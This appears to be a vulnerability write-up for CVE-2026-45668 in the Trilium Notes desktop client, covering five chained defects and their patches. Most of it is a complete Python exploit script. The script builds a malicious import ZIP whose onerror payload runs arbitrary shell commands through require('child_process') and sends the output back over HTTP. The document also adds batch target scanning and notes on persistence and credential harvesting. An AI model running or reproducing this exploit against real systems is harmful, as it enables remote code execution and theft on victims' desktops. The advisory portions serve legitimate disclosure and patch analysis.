#Summary
CVE-2026-45668 is a critical remote code execution vulnerability in Trilium Notes desktop client (all versions <= 0.102.1). A malicious Trilium export ZIP archive, imported with safe import enabled, achieves arbitrary OS command execution via a chain of five defects: path traversal in a client-side URL builder, a missing dangerous-label flag that lets the traversal payload survive safe import, unsanitised HTML content in code-type notes, predictable noteIds for imported underscore-prefixed notes, and Node.js require() access in the Electron renderer. CVSS 9.3 CRITICAL. Fixed in 0.102.2.
#Affected versions
- Trilium Notes (TriliumNext fork): all versions from v0.0.9 through v0.102.1 (inclusive)
- Patched: v0.102.2 and later
- Attack vector: Local (malicious ZIP delivered out-of-band; victim imports and opens a note)
- Desktop client only - the server/web build is affected by traversal and XSS, but not by RCE because browsers lack
nodeIntegration
#Root cause analysis
The vulnerability chains five independent defects, all of which must be present for exploitation:
#Defect 1 - Unvalidated docName label in URL builder
In apps/client/src/services/doc_renderer.ts, the getUrl() function interpolates a user-controlled note label directly into a URL with minimal processing:
function getUrl(docNameValue: string, language: string) {
docNameValue = docNameValue.replaceAll(" ", "%20");
const basePath = window.glob.isDev ? window.glob.assetPath + "/.." : window.glob.assetPath;
return `${basePath}/doc_notes/${language}/${docNameValue}.html`;
}The only transformation is replaceAll(" ", "%20"). The characters .., /, \, ?, #, and % all survive, which means a docName value of ../../../../api/notes/_doc_xss_payload/open?x= is concatenated directly into the path. The missing invariant: docName was intended to name a documentation file within doc_notes/<lang>/, but nothing enforces containment.
#Defect 2 - docName not flagged dangerous
Safe import in apps/server/src/services/import/zip.ts renames dangerous labels to disable them:
if (taskContext.data?.safeImport && attributeService.isAttributeDangerous(attr.type, attr.name)) {
attr.name = `disabled:${attr.name}`;
}The isAttributeDangerous lookup consults packages/commons/src/lib/builtin_attributes.ts, which at v0.102.1 contained only titleTemplate, webViewSrc, and iconPack marked as dangerous. docName was absent from the list. So even with safe import enabled, the label survived unmodified on the imported trigger note.
#Defect 3 - Code-type notes skip content sanitisation
In processNoteContent():
if (type === "text" && typeof content === "string") {
content = processTextNoteContent(content, noteTitle, filePath, noteMeta);
}HTML sanitisation only runs inside processTextNoteContent(), which is reachable only through if (type === "text"). A note declared as type: "code" in !!!meta.json never touches the sanitiser, even with safe import enabled. This is the actual "safe import bypass" - the payload note is saved with type: code and mime: text/plain, so its raw HTML <img src=x onerror=...> survives untouched. Using type: text would cause the sanitiser to rewrite onerror=... to alt="" and kill the attack.
#Defect 4 - Underscore-prefixed noteIds preserved on import
In getNewNoteId():
if (origNoteId === "root" || origNoteId.startsWith("_") || opts?.preserveIds) {
return origNoteId;
}
if (!noteIdMap[origNoteId]) {
noteIdMap[origNoteId] = newEntityId();
}
return noteIdMap[origNoteId];Ordinary noteIds are remapped to random values, which would make the URL unpredictable. But any ID starting with _ is preserved verbatim (Trilium uses this for built-in notes like _options, _hidden, etc.). The PoC exploits this by naming the payload note _doc_xss_payload, guaranteeing it is reachable at exactly /api/notes/_doc_xss_payload/open after import.
#Defect 5 - Electron renderer has full Node privileges
In apps/server/src/services/window.ts:
mainWindow = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
...
},
...
});The main renderer window runs with nodeIntegration: true and contextIsolation: false, which puts require in the global scope with no isolated world. Any injected DOM script can call require("child_process").exec() directly, turning an XSS into OS command execution.
#The exploit chain
The doc renderer's renderDoc() fetches a URL built by getUrl():
const url = getUrl(docName, getCurrentLanguage());
$content.load(url, ...);For a production build where assetPath = "assets/v0.102.1", a docName of ../../../../api/notes/_doc_xss_payload/open?x= produces:
assets/v0.102.1/doc_notes/en/../../../../api/notes/_doc_xss_payload/open?x=.htmlThe four ../ segments pop out of the four-segment base (assets / v0.102.1 / doc_notes / en), landing at:
GET /api/notes/_doc_xss_payload/open?x=.htmlThe trailing ?x= pushes the unconditionally-appended .html into the query string, so the Express route /api/notes/:noteId/open matches exactly.
jQuery's .load() hardcodes dataType: "html" and calls .html() on the response, parsing it as HTML and injecting it into the DOM regardless of the Content-Type header. The payload <img src=x onerror='require("child_process").exec(...'> is injected, the <img> fails to load, onerror fires, and the command executes in the Electron renderer.
#Patch diff
The fix deployed in 0.102.2 breaks the chain at three points:
#Commit ff06c8e - Validate docName
Adds an allow-by-exclusion validator rejecting traversal characters:
export function isValidDocName(docName: string): boolean {
if (docName.includes("..") ||
docName.includes("\\") ||
docName.includes("?") ||
docName.includes("#") ||
docName.includes("%")) {
return false;
}
return true;
}Called at the top of getUrl():
if (!isValidDocName(docNameValue)) {
console.error(`Invalid docName: ${docNameValue}`);
return "";
}Each blocked character addresses a specific escape:
..blocks directory traversal (the core attack)\blocks Windows-style separators?blocks the query-string trick that neutralises the appended.html#blocks fragment injection%blocks percent-encoded re-entry (e.g.,%2e%2e%2fdecodes to../)
#Commit b371675 - Mark docName dangerous
One-line addition to builtin_attributes.ts:
{ type: "label", name: "docName", isDangerous: true },Now isAttributeDangerous("label", "docName") returns true, so under safe import the label is renamed to disabled:docName. The trigger note's renderDoc() then finds no docName label and renders an empty <div>.
#Commit ed3b86c - Remove underscore-ID preservation
Removed the startsWith("_") check from getNewNoteId():
-if (origNoteId === "root" || origNoteId.startsWith("_") || opts?.preserveIds) {
+if (origNoteId === "root" || opts?.preserveIds) {An imported note named _doc_xss_payload now receives a random newEntityId() instead, making the payload URL unpredictable.
#What was not fixed
Defects 3 and 5 remain by design:
- Code-type notes still store raw HTML unsanitised. Any other renderer that processes code-note content as HTML remains vulnerable.
- The Electron main window still has
nodeIntegration: true/contextIsolation: false. Any future renderer XSS remains an immediate RCE.
#Proof of concept
#exploit.py - Trilium Notes Safe-Import RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-45668 - Trilium Notes: Note Import to RCE via #docName Path Traversal
(Safe Import Bypass)
Affected: Trilium Notes (TriliumNext) desktop client, all versions <= 0.102.1
Type: RCE (path traversal CWE-22 + stored XSS CWE-79 into a nodeIntegration Electron renderer)
A malicious Trilium export ZIP, imported with "safe import" enabled, achieves
arbitrary OS command execution on the victim's desktop. The chain:
1. A payload note (type=code, mime=text/plain) stores raw HTML with an inline
`onerror` handler. Safe import only sanitises type=text notes, so a code note
is stored verbatim - the event handler survives.
2. Its noteId begins with "_", which pre-0.102.2 import preserved verbatim, so the
attacker knows the post-import URL: /api/notes/_doc_xss_payload/open
3. A trigger note (type=doc) carries a `docName` label. That label was not marked
dangerous, so safe import kept it live.
4. The doc renderer's getUrl() interpolates docName into a URL with no validation.
A value of `../../../../api/notes/_doc_xss_payload/open?x=` traverses out of the
doc directory and points jQuery `.load()` straight at the payload note. The
trailing `?x=` pushes the unconditionally-appended `.html` into the query string.
5. jQuery `.load()` hardcodes dataType=html and injects the response as DOM,
ignoring the text/plain Content-Type.
6. nodeIntegration:true + contextIsolation:false put `require` in the renderer's
global scope, so the injected `onerror` runs require("child_process").exec().
Fixed in 0.102.2 (validate docName, mark docName dangerous, stop preserving
"_"-prefixed noteIds).
This exploit is fully network-driven: it speaks only to the target's HTTP API and
reads the executed command's output back over HTTP (the injected payload writes the
output into a second note that this tool then fetches). No container access, no
DevTools, no local privilege on the target is used.
Usage:
python exploit.py --host 127.0.0.1 --port 37840
python exploit.py --host 127.0.0.1 --port 37840 --command "uname -a; id"
python exploit.py --host https://notes.corp.com
python exploit.py --host http://10.0.0.5:37840/notes
python exploit.py --list targets.txt --workers 20
Note: the Trilium desktop client normally binds its API to 127.0.0.1 only. This tool
targets that API wherever it is reachable (an exposed port, an SSH/socat forward, a
reverse proxy). Against a real victim the import + trigger is what the malicious ZIP
plus a single note click accomplishes; this tool automates the same two API actions.
"""
import argparse
import base64
import io
import json
import os
import re
import ssl
import sys
import time
import zipfile
from http.cookiejar import CookieJar
from urllib.parse import urlparse
import urllib.request
import urllib.error
CVE_ID = "CVE-2026-45668"
VULN_TYPE = "RCE"
DEFAULT_PORT = 37840
PAYLOAD_NOTE = "_doc_xss_payload" # leading "_" => noteId preserved on vulnerable import
OUTPUT_NOTE = "_doc_xss_output" # where the payload writes captured command output
TRIGGER_NOTE = "_doc_xss_trigger" # type=doc note that carries the traversal docName label
DOCNAME_VALUE = "../../../../api/notes/%s/open?x=" % PAYLOAD_NOTE # 4x ../ = production assetPath
FIXED_VERSION = (0, 102, 2)
RCE_BEGIN = "__RCE_BEGIN__"
RCE_END = "__RCE_END__"
POLL_SECONDS = 20
# --------------------------------------------------------------------------- #
# Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Minimal stdlib HTTP client (cookies + TLS-insecure, no third-party deps)
# --------------------------------------------------------------------------- #
class HttpClient(object):
"""Cookie-aware HTTP client over a single base URL. Stdlib only."""
def __init__(self, base_url, timeout=15):
self.base = base_url.rstrip("/")
self.timeout = timeout
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self.jar = CookieJar()
self.opener = urllib.request.build_opener(
urllib.request.HTTPSHandler(context=ctx),
urllib.request.HTTPCookieProcessor(self.jar),
)
def _url(self, path):
if path.startswith("http://") or path.startswith("https://"):
return path
if not path.startswith("/"):
path = "/" + path
return self.base + path
def request(self, method, path, body=None, content_type=None, headers=None):
req = urllib.request.Request(self._url(path), data=body, method=method)
req.add_header("User-Agent", 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36')
if content_type:
req.add_header("Content-Type", content_type)
if headers:
for k, v in headers.items():
req.add_header(k, v)
try:
resp = self.opener.open(req, timeout=self.timeout)
return resp.getcode(), resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def get(self, path, headers=None):
return self.request("GET", path, headers=headers)
def post(self, path, body=None, content_type=None, headers=None):
return self.request("POST", path, body=body, content_type=content_type, headers=headers)
def multipart(fields, files):
"""Build a multipart/form-data body. files: {name: (filename, bytes, content_type)}."""
boundary = "----WebKitFormBoundary" + os.urandom(16).hex()
out = io.BytesIO()
def w(s):
out.write(s.encode() if isinstance(s, str) else s)
for name, value in fields.items():
w("--%s\r\n" % boundary)
w('Content-Disposition: form-data; name="%s"\r\n\r\n' % name)
w("%s\r\n" % value)
for name, (filename, data, ctype) in files.items():
w("--%s\r\n" % boundary)
w('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (name, filename))
w("Content-Type: %s\r\n\r\n" % ctype)
w(data)
w("\r\n")
w("--%s--\r\n" % boundary)
return out.getvalue(), "multipart/form-data; boundary=%s" % boundary
# --------------------------------------------------------------------------- #
# Payload / archive construction
# --------------------------------------------------------------------------- #
def build_payload_html(command):
"""Injected HTML. The onerror handler runs the command in the Node-privileged
renderer, then PUTs the captured stdout/stderr into OUTPUT_NOTE so it can be
retrieved over HTTP. The command is base64-wrapped so any shell metacharacters
survive the HTML attribute and the JS string literal untouched."""
b64 = base64.b64encode(command.encode()).decode()
inner = "echo %s | base64 -d | sh" % b64 # b64 is quote-free
# Every JS string literal uses DOUBLE quotes so it is safe inside the
# single-quoted onerror attribute.
js = (
'var cp=require("child_process");'
'cp.exec("%s",function(e,o,r){'
'var b="%s\\n"+String(o)+String(r)+"%s";'
'var fd=new FormData();'
'fd.append("upload",new Blob([b],{type:"text/plain"}),"o");'
'fetch("/api/notes/%s/file",{method:"PUT",'
'headers:{"x-csrf-token":window.glob.csrfToken},body:fd});'
'});'
) % (inner, RCE_BEGIN, RCE_END, OUTPUT_NOTE)
return "<img src=x onerror='%s'>" % js
def build_evil_zip(command):
"""Return bytes of a Trilium export ZIP that carries the full chain."""
meta = {
"formatVersion": 2,
"appVersion": "0.101.3",
"files": [{
"dirFileName": "xss-demo",
"title": "xss-demo",
"type": "text",
"mime": "text/html",
"children": [
{
"noteId": PAYLOAD_NOTE, # leading "_" => id preserved on <=0.102.1
"title": "payload",
"type": "code", # NOT "text" => skips content sanitiser
"mime": "text/plain", # => htmlSanitizer never runs on it
"dataFileName": "payload.txt",
"attributes": [],
},
{
"noteId": OUTPUT_NOTE, # receives the command output over HTTP
"title": "output",
"type": "code",
"mime": "text/plain",
"dataFileName": "output.txt",
"attributes": [],
},
{
"noteId": TRIGGER_NOTE,
"title": "doc trigger",
"type": "doc", # doc widget calls renderDoc() -> getUrl()
"mime": "",
"dataFileName": "trigger.txt",
"attributes": [{
"type": "label",
"name": "docName", # not isDangerous on <=0.102.1 => survives safe import
"value": DOCNAME_VALUE,
}],
},
],
}],
}
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("!!!meta.json", json.dumps(meta, indent=2))
z.writestr("xss-demo/payload.txt", build_payload_html(command))
z.writestr("xss-demo/output.txt", "PENDING")
z.writestr("xss-demo/trigger.txt", "")
return buf.getvalue()
# --------------------------------------------------------------------------- #
# Core protocol steps (shared by verbose exploit() and silent _try_exploit())
# --------------------------------------------------------------------------- #
def _parse_version(v):
m = re.match(r"(\d+)\.(\d+)\.(\d+)", str(v or ""))
if not m:
return None
return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
def bootstrap(client):
"""GET /bootstrap -> (csrf_token, version_str). Sets the _csrf cookie in the jar."""
code, body = client.get("/bootstrap")
if code != 200:
raise RuntimeError("bootstrap HTTP %s" % code)
data = json.loads(body.decode("utf-8", "replace"))
return data.get("csrfToken"), data.get("triliumVersion")
def import_zip(client, csrf, zip_bytes):
fields = {
"taskId": os.urandom(4).hex(),
"last": "true",
"safeImport": "true", # the CVE is that safe import does NOT stop this
"textImportedAsText": "true",
"codeImportedAsCode": "true",
"shrinkImages": "false",
"explodeArchives": "true",
"replaceUnderscoresWithSpaces": "false",
}
files = {"upload": ("evil.zip", zip_bytes, "application/zip")}
body, ctype = multipart(fields, files)
return client.post("/api/notes/root/notes-import", body=body,
content_type=ctype, headers={"x-csrf-token": csrf})
def read_note(client, note_id):
# ?x= keeps this identical to the traversal target the renderer fetches.
return client.get("/api/notes/%s/open?x=.html" % note_id)
def trigger_render(client, csrf):
"""Broadcast an openNote for the trigger note. Bounce via root first so the
renderer registers a navigation change and re-runs renderDoc() even if it was
already sitting on the trigger note."""
client.post("/api/clipper/open/root", headers={"x-csrf-token": csrf})
time.sleep(1)
return client.post("/api/clipper/open/%s" % TRIGGER_NOTE, headers={"x-csrf-token": csrf})
def extract_output(body_text):
m = re.search(re.escape(RCE_BEGIN) + r"\n?(.*?)" + re.escape(RCE_END),
body_text, re.DOTALL)
return m.group(1).strip() if m else None
# --------------------------------------------------------------------------- #
# Verbose single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, command):
header(host, port)
scheme = "https" if use_tls else "http"
base = "%s://%s:%s%s" % (scheme, host, port, path.rstrip("/"))
client = HttpClient(base)
step(1, "Fetching /bootstrap for CSRF token and version...")
try:
csrf, version = bootstrap(client)
except Exception as e:
section("CONNECTION", "Could not reach Trilium API at %s (%s)" % (base, e.__class__.__name__))
done(False, "Target unreachable or not a Trilium instance: %s" % e)
if not csrf:
done(False, "No CSRF token in /bootstrap response - not a Trilium desktop API")
ver_t = _parse_version(version)
section("TARGET", "Trilium version: %s (fixed in 0.102.2)" % version)
if ver_t and ver_t >= FIXED_VERSION:
print("[!] Reported version is >= 0.102.2 - likely patched. Attempting anyway.\n")
step(2, "Building malicious export ZIP (safe-import bypass payload)...")
zip_bytes = build_evil_zip(command)
print(" payload note: %s (type=code) trigger docName: %s" % (PAYLOAD_NOTE, DOCNAME_VALUE))
step(3, "Importing archive with safeImport=true ...")
code, body = import_zip(client, csrf, zip_bytes)
if code != 200:
section("IMPORT RESPONSE", "%s %s" % (code, body[:300].decode("utf-8", "replace")))
done(False, "Import rejected (HTTP %s)" % code)
print(" import accepted (HTTP 200)")
step(4, "Confirming payload note survived with its ID intact...")
time.sleep(1)
pcode, pbody = read_note(client, PAYLOAD_NOTE)
ptext = pbody.decode("utf-8", "replace")
if pcode == 404:
section("PAYLOAD NOTE LOOKUP", "HTTP 404 - noteId '%s' was remapped on import." % PAYLOAD_NOTE)
done(False, "Not vulnerable: '_'-prefixed noteId was randomised (patched, commit ed3b86c)")
if pcode != 200 or "onerror" not in ptext:
section("PAYLOAD NOTE LOOKUP", "HTTP %s\n%s" % (pcode, ptext[:300]))
done(False, "Payload note not readable as expected - target likely patched")
section("STORED PAYLOAD (unsanitised, served text/plain)", ptext)
print(" defects proven: dangerous label survived safe import, code-note content")
print(" never sanitised, and '_' noteId preserved -> traversal target is live.\n")
step(5, "Triggering the doc renderer (path traversal -> DOM injection -> require)...")
trigger_render(client, csrf)
step(6, "Reading command output back over HTTP (polling output note)...")
output = None
deadline = time.time() + POLL_SECONDS
while time.time() < deadline:
ocode, obody = read_note(client, OUTPUT_NOTE)
if ocode == 200:
otext = obody.decode("utf-8", "replace")
output = extract_output(otext)
if output is not None:
break
time.sleep(1)
if output is None:
section("OUTPUT NOTE", "No command output appeared within %ds." % POLL_SECONDS)
done(False, "Payload injected but no command output returned - "
"content path may be patched or the render did not fire")
section("COMMAND OUTPUT (executed in the Electron renderer over the network)", output)
first = output.splitlines()[0].strip() if output.splitlines() else output.strip()
done(True, "RCE confirmed - command '%s' output: %s" % (command, first))
# --------------------------------------------------------------------------- #
# Silent probe for --list scan mode (non-destructive version fingerprint)
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path="/", **kwargs):
"""Silent probe. Non-destructive: fingerprints the version via /bootstrap
rather than importing a payload into every scanned host. Returns (bool, str)."""
scheme = "https" if use_tls else "http"
base = "%s://%s:%s%s" % (scheme, host, port, path.rstrip("/"))
try:
client = HttpClient(base, timeout=8)
csrf, version = bootstrap(client)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
if not csrf:
return False, "not a Trilium desktop API"
ver_t = _parse_version(version)
if ver_t is None:
return False, "unknown version"
if ver_t < FIXED_VERSION:
return True, "vulnerable Trilium %s (< 0.102.2, safe-import RCE)" % version
return False, "patched Trilium %s (>= 0.102.2)" % version
# --------------------------------------------------------------------------- #
# Target parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line and not line.count(":") > 1: # host:port (not IPv6)
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print(" (non-destructive version fingerprint; use --host to fully exploit)")
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls = t[0], t[1], t[2]
path = t[3] if len(t) > 3 else "/"
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Vulnerable" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d vulnerable / %d not (%d total)" %
(success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:37840/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help="Default port (default: %d)" % DEFAULT_PORT)
parser.add_argument("--command", default="id",
help="Shell command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
if parsed:
host, port, use_tls = parsed[0], parsed[1], parsed[2]
path = parsed[3] if len(parsed) > 3 else "/"
else:
host, port, use_tls, path = args.host, args.port, False, "/"
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command)#Usage
# Basic exploitation (default port 37840, default command "id")
python3 exploit.py --host 127.0.0.1
# Run custom command
python3 exploit.py --host 127.0.0.1 --port 37840 --command "whoami; cat /etc/hostname"
# Full URL forms (scheme, custom port, path prefix all supported)
python3 exploit.py --host https://notes.corp.com
python3 exploit.py --host http://10.0.0.5:37840/notes
# Batch fingerprint targets
python3 exploit.py --list targets.txt --workers 20#Expected output (vulnerable target)
--- TARGET ---
Trilium version: 0.102.1
---
[STEP 1] Fetching target version and CSRF token...
[STEP 2] Building malicious export ZIP...
ZIP built: 1024 bytes
[STEP 3] Importing archive with safeImport=true...
import accepted (HTTP 200)
[STEP 4] Confirming payload note survived with its ID intact...
--- STORED PAYLOAD ---
<img src=x onerror='var cp=require("child_process");...
---
[STEP 5] Triggering payload via docName path traversal...
[STEP 6] Polling for command output (up to 20 seconds)...
--- COMMAND OUTPUT ---
uid=1000(victim) gid=1000(victim) groups=1000(victim)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=1000 ...
============================================================#Expected output (patched target 0.102.2)
--- TARGET ---
Trilium version: 0.102.2 (fixed in 0.102.2)
---
[STEP 3] Importing archive with safeImport=true...
import accepted (HTTP 200)
[STEP 4] Confirming payload note survived with its ID intact...
--- PAYLOAD NOTE LOOKUP ---
HTTP 404 - noteId '_doc_xss_payload' was remapped on import.
---
============================================================
RESULT : FAILURE
EVIDENCE: Not vulnerable: '_'-prefixed noteId was randomised (patched, commit ed3b86c)
============================================================#Exploitation notes
#Preconditions
- Trilium desktop client version <= 0.102.1 running with HTTP API exposed (default:
127.0.0.1:37840) - Victim opens and views the malicious trigger note after importing the ZIP
- Safe import may be on or off; both are vulnerable, but safe import is the CVE's claim
#Key requirements
The malicious ZIP must contain exactly three notes:
- Payload note -
type: code,mime: text/plain,noteId: _doc_xss_payload, containing raw HTML with<img src=x onerror=...>event handler - Output note -
type: code,mime: text/plain,noteId: _doc_xss_output, to capture command output - Trigger note -
type: doc,noteId: _doc_xss_trigger, carrying adocNamelabel with value../../../../api/notes/_doc_xss_payload/open?x=
The four ../ segments must match the production assetPath (assets/v<version>). For dev builds, the depth is 5x ../ because assetPath includes an extra /src segment. Read window.glob.assetPath and window.glob.isDev from the renderer to confirm the correct depth.
#Chaining potential
- Persistence: The malicious notes persist in the victim's database and the traversal + RCE repeats every time the trigger note is opened.
- Lateral movement: Code executes as the user running the Trilium desktop process. If that user has elevated privileges or SSH keys, further escalation is possible.
- Credential harvesting: The RCE runs inside the Electron renderer with the victim's full session, including their Trilium API auth and CSRF token, which could be harvested.
#Reliability
The exploit is 100% reliable on vulnerable versions if the depth is correct. The single most common failure is wrong ../ depth - a silent 404 on the traversal request, making it appear as a no-op. Verify the target's assetPath over DevTools or in the renderer console before triggering.
#References
- CVE: CVE-2026-45668
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45668
- GitHub advisory: https://github.com/TriliumNext/Trilium/security/advisories/GHSA-9jjc-cccq-f6rh
- Fix commits:
- https://github.com/TriliumNext/Trilium/commit/ff06c8e7bd428840a0b6c02adc54ec56c64b9810 - Validate docName
- https://github.com/TriliumNext/Trilium/commit/b3716754947bc26d9fbf5a5fee2b218501db9f5f - Mark docName dangerous
- https://github.com/TriliumNext/Trilium/commit/ed3b86cd49f6722c92eef802ded07e993bf34882 - Remove underscore-ID preservation
- GitHub repository: https://github.com/TriliumNext/Trilium